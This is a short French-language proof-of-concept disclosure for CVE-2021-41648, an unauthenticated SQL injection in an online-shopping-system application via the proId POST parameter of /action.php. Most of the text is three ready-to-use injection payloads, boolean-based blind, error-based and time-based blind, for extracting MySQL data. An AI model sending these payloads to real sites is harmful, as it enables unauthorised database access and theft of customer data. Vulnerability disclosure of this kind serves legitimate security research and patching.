
Preuve de concept d'exploitation pour une injection SQL non authentifiée dans online-shopping-system via le paramètre proId, permettant l'extraction de données depuis la base de données MySQL.
CVE-2021-41648 Injection SQL dans online-shopping-system
Le online-shopping-system est vulnérable aux attaques par injection SQL non authentifiées, de type aveugle booléenne/erreur et de type basé sur les erreurs.
Le paramètre proId de la page /action.php ne nettoie pas les entrées utilisateur ; un attaquant peut extraire des données sensibles de la base de données MySQL sous-jacente.
URL : /action.php
PARAMÈTRE : proId
Paramètre : proId (POST)
Type : boolean-based blind
Titre : OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)
Payload : proId=61 OR 17-7=10' OR NOT 4774=4774#&addToCart=1
Type : error-based
Titre : MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload : proId=61 OR 17-7=10' OR (SELECT 6869 FROM(SELECT COUNT(*),CONCAT(0x717a716271,(SELECT (ELT(6869=6869,1))),0x716a627871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- gfTu&addToCart=1
Type : time-based blind
Titre : MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload : proId=61 OR 17-7=10' AND (SELECT 2990 FROM (SELECT(SLEEP(5)))YhWy)-- xWNo&addToCart=1

Jason Colyvas
MOBIUSBINARY
21 septembre 2021